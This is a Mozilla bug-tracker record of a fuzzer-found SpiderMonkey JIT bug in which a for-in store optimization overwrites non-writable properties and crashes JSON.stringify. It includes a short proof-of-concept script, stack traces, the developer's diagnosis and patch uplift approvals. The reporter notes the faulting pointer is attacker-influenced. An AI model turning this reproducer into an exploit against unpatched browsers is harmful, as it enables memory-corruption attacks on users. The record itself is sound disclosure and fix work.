Segmentation fault in JSON.stringify
Categories
(Core :: JavaScript Engine, defect, P1)
Tracking
()
People
(Reporter: 2628388509, Assigned: iain)
References
(Blocks 2 open bugs, Regression)
Details
(4 keywords, Whiteboard: [client-bounty-form][adv-main144+][adv-esr140.4+][adv-esr115.29+])
Attachments
(6 files, 2 obsolete files)
|
48 bytes,
text/x-phabricator-request
|
tjr
:
sec-approval+
|
Details | Review |
|
48 bytes,
text/x-phabricator-request
|
Details | Review | |
|
48 bytes,
text/x-phabricator-request
|
phab-bot
:
approval-mozilla-beta+
|
Details | Review |
|
48 bytes,
text/x-phabricator-request
|
phab-bot
:
approval-mozilla-esr140+
|
Details | Review |
|
48 bytes,
text/x-phabricator-request
|
phab-bot
:
approval-mozilla-esr115+
|
Details | Review |
|
175 bytes,
text/plain
|
Details |
Hello, my fuzzer found a bug related to JSON.stringify in SpiderMonkey. The OS is Ubuntu 22.04 on a X86 machine.
The commit id of Firefox is 767c44c1cde821258288378998f4bb481bec8908.
poc1.js:
function opt(a) {
for (const it in a) {
a[it] = 5;
}
}
const obj = JSON.rawJSON(256n, 256n, opt);
for (let i = 0; i < 100; i++) {
opt(obj);
}
JSON.stringify(obj);
Reproduce Steps:
- Compile SpiderMonkey: ./mach build
- Run args: ./js --no-threads --ion-warmup-threshold=100 poc1.js
Result:
Segmentation fault (core dumped)
In js/src/builtin/JSON.cpp
static bool FastSerializeJSONProperty(JSContext* cx, Handle<Value> v,
StringifyContext* scx,
BailReason* whySlow) {
MOZ_ASSERT(*whySlow == BailReason::NO_REASON);
MOZ_ASSERT(v.isObject());
if (JSString* rawJSON = MaybeGetRawJSON(cx, &v.toObject())) {
return scx->sb.append(rawJSON);
}
The value of rawJSON is 0x3800000000005 which is an invalid address. I noticed that this address can be changed by modifying poc1.js.
If a[it] =1 in opt function in poc1.js, the value of rawJSON is 0x3800000000001.
I believe this is a very dangerous behavior, so I quickly reported the issue.
Stack Trace:
(lldb) run
Process 2469463 launched: './firefox_validate/obj-x86_64-pc-linux-gnu/dist/bin/js' (x86_64)
Process 2469463 stopped
- thread #1, name = 'js', stop reason = signal SIGSEGV: address not mapped to object (fault address: 0x3800000000005)
frame #0: 0x0000555556d250b9 js`js::Stringify(JSContext*, JS::MutableHandle<JS::Value>, JSObject*, JS::Value const&, js::StringBuilder&, js::StringifyBehavior) [inlined] JSString::isLinear(this=0x0003800000000005) const at StringType.h:668:34
665 }
666
667 MOZ_ALWAYS_INLINE
-> 668 bool isLinear() const { return flags() & LINEAR_BIT; }
669
670 MOZ_ALWAYS_INLINE
671 JSLinearString& asLinear() const {
Target 0: (js) stopped.
(lldb) bt - thread #1, name = 'js', stop reason = signal SIGSEGV: address not mapped to object (fault address: 0x3800000000005)
- frame #0: 0x0000555556d250b9 js
js::Stringify(JSContext*, JS::MutableHandle<JS::Value>, JSObject*, JS::Value const&, js::StringBuilder&, js::StringifyBehavior) [inlined] JSString::isLinear(this=0x0003800000000005) const at StringType.h:668:34 frame #1: 0x0000555556d250b9 jsjs::Stringify(JSContext*, JS::MutableHandle<JS::Value>, JSObject*, JS::Value const&, js::StringBuilder&, js::StringifyBehavior) [inlined] JSString::ensureLinear(this=0x0003800000000005, cx=<unavailable>) at StringType.h:2432:10
frame #2: 0x0000555556d250b9 jsjs::Stringify(JSContext*, JS::MutableHandle<JS::Value>, JSObject*, JS::Value const&, js::StringBuilder&, js::StringifyBehavior) [inlined] js::StringBuilder::append(this=0x00007fffffffcb88, str=0x0003800000000005) at StringBuilder.h:516:33 frame #3: 0x0000555556d250b9 jsjs::Stringify(JSContext*, JS::MutableHandle<JS::Value>, JSObject*, JS::Value const&, js::StringBuilder&, js::StringifyBehavior) at JSON.cpp:1204:20
frame #4: 0x0000555556d2503b jsjs::Stringify(cx=0x00007ffff6833100, vp=JS::MutableHandleValue @ r13, replacer_=<unavailable>, space_=0x00007fffffffcb48, sb=0x00007fffffffcb88, stringifyBehavior=Normal) at JSON.cpp:1645:12 frame #5: 0x0000555556d27c92 jsjson_stringify(cx=0x00007ffff6833100, argc=<unavailable>, vp=0x00007fffffffd040) at JSON.cpp:2090:8
frame #6: 0x0000555556cd5a83 jsjs::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) [inlined] CallJSNative(cx=0x00007ffff6833100, native=(jsjson_stringify(JSContext*, unsigned int, JS::Value*) at JSON.cpp:2074), reason=<unavailable>, args=0x00007fffffffcde8) at Interpreter.cpp:501:13
frame #7: 0x0000555556cd59bb jsjs::InternalCallOrConstruct(cx=0x00007ffff6833100, args=0x00007fffffffcde8, construct=<unavailable>, reason=<unavailable>) at Interpreter.cpp:597:12 frame #8: 0x0000555556cd618e jsjs::CallFromStack(JSContext*, JS::CallArgs const&, js::CallReason) [inlined] InternalCall(cx=<unavailable>, args=<unavailable>, reason=<unavailable>) at Interpreter.cpp:664:10 [artificial]
frame #9: 0x000055555732f08c jsjs::jit::DoCallFallback(cx=0x00007ffff6833100, frame=0x00007fffffffd098, stub=0x00007ffff6811ef8, argc=<unavailable>, vp=<unavailable>, res=JS::MutableHandleValue @ 0x00007fffffffcd58) at BaselineIC.cpp:1695:10 frame #10: 0x00002eb3641e98c4 frame #11: 0x00002eb3641ef546 frame #12: 0x00002eb3642080a6 frame #13: 0x00002eb3641e74e6 frame #14: 0x00005555574d6656 jsjs::jit::EnterBaselineInterpreterAtBranch(JSContext*, js::InterpreterFrame*, unsigned char*) at BaselineJIT.cpp:145:5
frame #15: 0x00005555574d65b6 jsjs::jit::EnterBaselineInterpreterAtBranch(cx=<unavailable>, fp=<unavailable>, pc=<unavailable>) at BaselineJIT.cpp:201:26 frame #16: 0x0000555556ce289d jsjs::Interpret(cx=0x00007ffff6833100, state=0x00007fffffffd700) at Interpreter.cpp:2047:17
frame #17: 0x0000555556cd566b jsjs::RunScript(JSContext*, js::RunState&) [inlined] MaybeEnterInterpreterTrampoline(cx=0x00007ffff6833100, state=0x00007fffffffd700) at Interpreter.cpp:395:10 frame #18: 0x0000555556cd553b jsjs::RunScript(cx=0x00007ffff6833100, state=0x00007fffffffd700) at Interpreter.cpp:471:13
frame #19: 0x0000555556cd6cfb jsjs::Execute(JSContext*, JS::Handle<JSScript*>, JS::Handle<JSObject*>, JS::MutableHandle<JS::Value>) [inlined] js::ExecuteKernel(cx=0x00007ffff6833100, script=JS::HandleScript @ r12, envChainArg=JS::HandleObject @ r15, evalInFrame=(ptr_ = 0), result=JS::MutableHandleValue @ r14) at Interpreter.cpp:862:13 frame #20: 0x0000555556cd6cbc jsjs::Execute(cx=0x00007ffff6833100, script=JS::HandleScript @ r12, envChain=JS::HandleObject @ r15, rval=JS::MutableHandleValue @ r14) at Interpreter.cpp:895:10
frame #21: 0x0000555556d82f62 jsExecuteScript(cx=<unavailable>, envChain=<unavailable>, script=<unavailable>, rval=<unavailable>) at CompilationAndEvaluation.cpp:548:10 [artificial] frame #22: 0x0000555556d8304d jsJS_ExecuteScript(cx=<unavailable>, scriptArg=<unavailable>) at CompilationAndEvaluation.cpp:572:10
frame #23: 0x0000555556c84c78 jsRunFile(cx=0x00007ffff6833100, filename="poc1.js", file=<unavailable>, compileMethod=<unavailable>, compileOnly=false, fullParse=false) at js.cpp:1315:10 frame #24: 0x0000555556c84835 jsProcess(cx=0x00007ffff6833100, filename="poc1.js", forceTTY=false, kind=FileScript) at js.cpp:0
frame #25: 0x0000555556c6004a jsShell(JSContext*, js::cli::OptionParser*) at js.cpp:12019:10 frame #26: 0x0000555556c5f80b jsShell(cx=0x00007ffff6833100, op=0x00007fffffffddc8) at js.cpp:12272:12
frame #27: 0x0000555556c57026 jsmain(argc=<unavailable>, argv=<unavailable>) at js.cpp:12675:12 frame #28: 0x00007ffff7a52d90 libc.so.6__libc_start_call_main(main=(jsmain at js.cpp:12501), argc=4, argv=0x00007fffffffe028) at libc_start_call_main.h:58:16 frame #29: 0x00007ffff7a52e40 libc.so.6__libc_start_main_impl(main=(jsmain at js.cpp:12501), argc=4, argv=0x00007fffffffe028, init=<unavailable>, fini=<unavailable>, rtld_fini=<unavailable>, stack_end=0x00007fffffffe018) at libc-start.c:392:3 frame #30: 0x0000555556c4fd69 js_start + 41
- frame #0: 0x0000555556d250b9 js
| Reporter | ||
Comment 1•7 months ago
|
||
I found the stack trace to be somewhat confusing, so I submitted a revised version in the comments.
Stack Trace:
(lldb) run
Process 2547511 launched: './firefox_validate/obj-x86_64-pc-linux-gnu/dist/bin/js' (x86_64)
Process 2547511 stopped
* thread #1, name = 'js', stop reason = signal SIGSEGV: address not mapped to object (fault address: 0x3800000000005)
frame #0: 0x0000555556d250b9 js`js::Stringify(JSContext*, JS::MutableHandle<JS::Value>, JSObject*, JS::Value const&, js::StringBuilder&, js::StringifyBehavior) [inlined] JSString::isLinear(this=0x0003800000000005) const at StringType.h:668:34
665 }
666
667 MOZ_ALWAYS_INLINE
-> 668 bool isLinear() const { return flags() & LINEAR_BIT; }
669
670 MOZ_ALWAYS_INLINE
671 JSLinearString& asLinear() const {
Target 0: (js) stopped.
(lldb) bt
* thread #1, name = 'js', stop reason = signal SIGSEGV: address not mapped to object (fault address: 0x3800000000005)
* frame #0: 0x0000555556d250b9 js`js::Stringify(JSContext*, JS::MutableHandle<JS::Value>, JSObject*, JS::Value const&, js::StringBuilder&, js::StringifyBehavior) [inlined] JSString::isLinear(this=0x0003800000000005) const at StringType.h:668:34
frame #1: 0x0000555556d250b9 js`js::Stringify(JSContext*, JS::MutableHandle<JS::Value>, JSObject*, JS::Value const&, js::StringBuilder&, js::StringifyBehavior) [inlined] JSString::ensureLinear(this=0x0003800000000005, cx=<unavailable>) at StringType.h:2432:10
frame #2: 0x0000555556d250b9 js`js::Stringify(JSContext*, JS::MutableHandle<JS::Value>, JSObject*, JS::Value const&, js::StringBuilder&, js::StringifyBehavior) [inlined] js::StringBuilder::append(this=0x00007fffffffcb88, str=0x0003800000000005) at StringBuilder.h:516:33
frame #3: 0x0000555556d250b9 js`js::Stringify(JSContext*, JS::MutableHandle<JS::Value>, JSObject*, JS::Value const&, js::StringBuilder&, js::StringifyBehavior) at JSON.cpp:1204:20
frame #4: 0x0000555556d2503b js`js::Stringify(cx=0x00007ffff6833100, vp=JS::MutableHandleValue @ r13, replacer_=<unavailable>, space_=0x00007fffffffcb48, sb=0x00007fffffffcb88, stringifyBehavior=Normal) at JSON.cpp:1645:12
frame #5: 0x0000555556d27c92 js`json_stringify(cx=0x00007ffff6833100, argc=<unavailable>, vp=0x00007fffffffd040) at JSON.cpp:2090:8
frame #6: 0x0000555556cd5a83 js`js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) [inlined] CallJSNative(cx=0x00007ffff6833100, native=(js`json_stringify(JSContext*, unsigned int, JS::Value*) at JSON.cpp:2074), reason=<unavailable>, args=0x00007fffffffcde8) at Interpreter.cpp:501:13
frame #7: 0x0000555556cd59bb js`js::InternalCallOrConstruct(cx=0x00007ffff6833100, args=0x00007fffffffcde8, construct=<unavailable>, reason=<unavailable>) at Interpreter.cpp:597:12
frame #8: 0x0000555556cd618e js`js::CallFromStack(JSContext*, JS::CallArgs const&, js::CallReason) [inlined] InternalCall(cx=<unavailable>, args=<unavailable>, reason=<unavailable>) at Interpreter.cpp:664:10 [artificial]
frame #9: 0x000055555732f08c js`js::jit::DoCallFallback(cx=0x00007ffff6833100, frame=0x00007fffffffd098, stub=0x00007ffff6812af8, argc=<unavailable>, vp=<unavailable>, res=JS::MutableHandleValue @ 0x00007fffffffcd58) at BaselineIC.cpp:1695:10
frame #10: 0x000020a32bfc08c4
frame #11: 0x000020a32bfc6546
frame #12: 0x000020a32bfdf0a6
frame #13: 0x000020a32bfbe4e6
frame #14: 0x00005555574d6656 js`js::jit::EnterBaselineInterpreterAtBranch(JSContext*, js::InterpreterFrame*, unsigned char*) at BaselineJIT.cpp:145:5
frame #15: 0x00005555574d65b6 js`js::jit::EnterBaselineInterpreterAtBranch(cx=<unavailable>, fp=<unavailable>, pc=<unavailable>) at BaselineJIT.cpp:201:26
frame #16: 0x0000555556ce289d js`js::Interpret(cx=0x00007ffff6833100, state=0x00007fffffffd700) at Interpreter.cpp:2047:17
frame #17: 0x0000555556cd566b js`js::RunScript(JSContext*, js::RunState&) [inlined] MaybeEnterInterpreterTrampoline(cx=0x00007ffff6833100, state=0x00007fffffffd700) at Interpreter.cpp:395:10
frame #18: 0x0000555556cd553b js`js::RunScript(cx=0x00007ffff6833100, state=0x00007fffffffd700) at Interpreter.cpp:471:13
frame #19: 0x0000555556cd6cfb js`js::Execute(JSContext*, JS::Handle<JSScript*>, JS::Handle<JSObject*>, JS::MutableHandle<JS::Value>) [inlined] js::ExecuteKernel(cx=0x00007ffff6833100, script=JS::HandleScript @ r12, envChainArg=JS::HandleObject @ r15, evalInFrame=(ptr_ = 0), result=JS::MutableHandleValue @ r14) at Interpreter.cpp:862:13
frame #20: 0x0000555556cd6cbc js`js::Execute(cx=0x00007ffff6833100, script=JS::HandleScript @ r12, envChain=JS::HandleObject @ r15, rval=JS::MutableHandleValue @ r14) at Interpreter.cpp:895:10
frame #21: 0x0000555556d82f62 js`ExecuteScript(cx=<unavailable>, envChain=<unavailable>, script=<unavailable>, rval=<unavailable>) at CompilationAndEvaluation.cpp:548:10 [artificial]
frame #22: 0x0000555556d8304d js`JS_ExecuteScript(cx=<unavailable>, scriptArg=<unavailable>) at CompilationAndEvaluation.cpp:572:10
frame #23: 0x0000555556c84c78 js`RunFile(cx=0x00007ffff6833100, filename="poc1.js", file=<unavailable>, compileMethod=<unavailable>, compileOnly=false, fullParse=false) at js.cpp:1315:10
frame #24: 0x0000555556c84835 js`Process(cx=0x00007ffff6833100, filename="poc1.js", forceTTY=false, kind=FileScript) at js.cpp:0
frame #25: 0x0000555556c6004a js`Shell(JSContext*, js::cli::OptionParser*) at js.cpp:12019:10
frame #26: 0x0000555556c5f80b js`Shell(cx=0x00007ffff6833100, op=0x00007fffffffddc8) at js.cpp:12272:12
frame #27: 0x0000555556c57026 js`main(argc=<unavailable>, argv=<unavailable>) at js.cpp:12675:12
frame #28: 0x00007ffff7a52d90 libc.so.6`__libc_start_call_main(main=(js`main at js.cpp:12501), argc=4, argv=0x00007fffffffe028) at libc_start_call_main.h:58:16
frame #29: 0x00007ffff7a52e40 libc.so.6`__libc_start_main_impl(main=(js`main at js.cpp:12501), argc=4, argv=0x00007fffffffe028, init=<unavailable>, fini=<unavailable>, rtld_fini=<unavailable>, stack_end=0x00007fffffffe018) at libc-start.c:392:3
frame #30: 0x0000555556c4fd69 js`_start + 41
Updated•7 months ago
|
Updated•7 months ago
|
Updated•7 months ago
|
Comment 2•7 months ago
•
|
||
Good find, thanks for the report! It looks like the StoreSlotByIteratorIndex optimization can incorrectly mutate non-writable data properties. The JSON code depends on the rawJSON property not changing, because it's defined non-writable and non-configurable.
Here's a similar test that doesn't use JSON:
// Fails with --no-threads, passes with --no-ion
function opt(a) {
for (const it in a) {
a[it] = 5;
}
}
const obj = {};
Object.defineProperty(obj, "x", {value: 1, enumerable: true, writable: false});
for (let i = 0; i < 2000; i++) {
opt(obj);
}
assertEq(obj.x, 1);
We should also make sure we handle fuse properties correctly.
Updated•7 months ago
|
Updated•7 months ago
|
Updated•7 months ago
|
Comment 3•7 months ago
|
||
The severity field for this bug is set to S3. However, the bug is flagged with the sec-high keyword.
:sdetar, could you consider increasing the severity of this security bug?
For more information, please visit BugBot documentation.
Updated•7 months ago
|
| Assignee | ||
Comment 4•7 months ago
|
||
Updated•7 months ago
|
| Assignee | ||
Comment 5•7 months ago
|
||
| Assignee | ||
Comment 6•7 months ago
|
||
| Assignee | ||
Comment 7•7 months ago
|
||
Comment on attachment 9515387 [details]
(secure)
Security Approval Request
- How easily could an exploit be constructed based on the patch?: Relatively difficult. The patch points at writable properties and fuses, but actually exploiting the bug requires spotting an assumption in JSON.stringify, which is not mentioned anywhere in the patch.
- Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
- Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: All
- If not all supported branches, which bug introduced the flaw?: Bug 1815503
- Do you have backports for the affected branches?: Yes
- If not, how different, hard to create, and risky will they be?: I think this patch should apply cleanly. (There might be a spurious conflict in the #include list, but if so it should be trivial to resolve.)
- How likely is this patch to cause regressions; how much testing does it need?: Unlikely; it only disables an optimization.
- Is the patch ready to land after security approval is given?: Yes
- Is Android affected?: Yes
| Assignee | ||
Updated•7 months ago
|
Comment 8•7 months ago
|
||
Set release status flags based on info from the regressing bug 1815503
Comment 9•7 months ago
|
||
Comment on attachment 9515387 [details]
(secure)
Approved to land and request uplift
Updated•7 months ago
|
Updated•7 months ago
|
Comment 10•7 months ago
|
||
firefox-beta Uplift Approval Request
- User impact if declined: Potentially exploitable type confusion
- Code covered by automated testing: yes
- Fix verified in Nightly: yes
- Needs manual QE test: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: This disables an optimization.
- String changes made/needed: None.
- Is Android affected?: yes
| Assignee | ||
Comment 11•7 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D266023
Comment 12•7 months ago
|
||
firefox-release Uplift Approval Request
- User impact if declined: Potentially exploitable type confusion
- Code covered by automated testing: yes
- Fix verified in Nightly: yes
- Needs manual QE test: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: Disables an optimization
- String changes made/needed: None
- Is Android affected?: yes
| Assignee | ||
Comment 13•7 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D266023
Comment 14•7 months ago
|
||
firefox-esr140 Uplift Approval Request
- User impact if declined: Potentially exploitable type confusion
- Code covered by automated testing: yes
- Fix verified in Nightly: yes
- Needs manual QE test: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: Disables an optimization.
- String changes made/needed: None
- Is Android affected?: yes
| Assignee | ||
Comment 15•7 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D266023
Comment 16•7 months ago
|
||
firefox-esr115 Uplift Approval Request
- User impact if declined: Potentially exploitable type confusion
- Code covered by automated testing: yes
- Fix verified in Nightly: yes
- Needs manual QE test: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: Disables an optimization
- String changes made/needed: None
- Is Android affected?: yes
| Assignee | ||
Comment 17•7 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D266023
Comment 18•7 months ago
|
||
Comment 19•7 months ago
|
||
Updated•7 months ago
|
Updated•7 months ago
|
Comment 20•7 months ago
|
||
| uplift | ||
Updated•7 months ago
|
Updated•7 months ago
|
Updated•7 months ago
|
Comment 21•7 months ago
|
||
| uplift | ||
Updated•7 months ago
|
Updated•7 months ago
|
Comment 22•7 months ago
|
||
| uplift | ||
Comment 23•7 months ago
|
||
| uplift | ||
Comment 24•7 months ago
|
||
Backed out from esr115 for causing build bustages @ Iteration.cpp
Updated•7 months ago
|
Updated•7 months ago
|
| Assignee | ||
Comment 25•7 months ago
|
||
Only half the patch is relevant to ESR115. I removed the other half of the patch. It's ready to reland.
Updated•7 months ago
|
Comment 26•7 months ago
|
||
| uplift | ||
Updated•7 months ago
|
Updated•7 months ago
|
Updated•7 months ago
|
Updated•6 months ago
|
Comment 27•6 months ago
|
||
Updated•6 months ago
|
Comment 28•5 months ago
|
||
a month ago, tjr placed a reminder on the bug using the whiteboard tag [reminder-test 2025-11-25] .
iain, please refer to the original comment to better understand the reason for the reminder.
| Assignee | ||
Updated•5 months ago
|
Comment 29•5 months ago
|
||
Comment 30•5 months ago
|
||
Updated•4 months ago
|
Updated•19 days ago
|
Description
•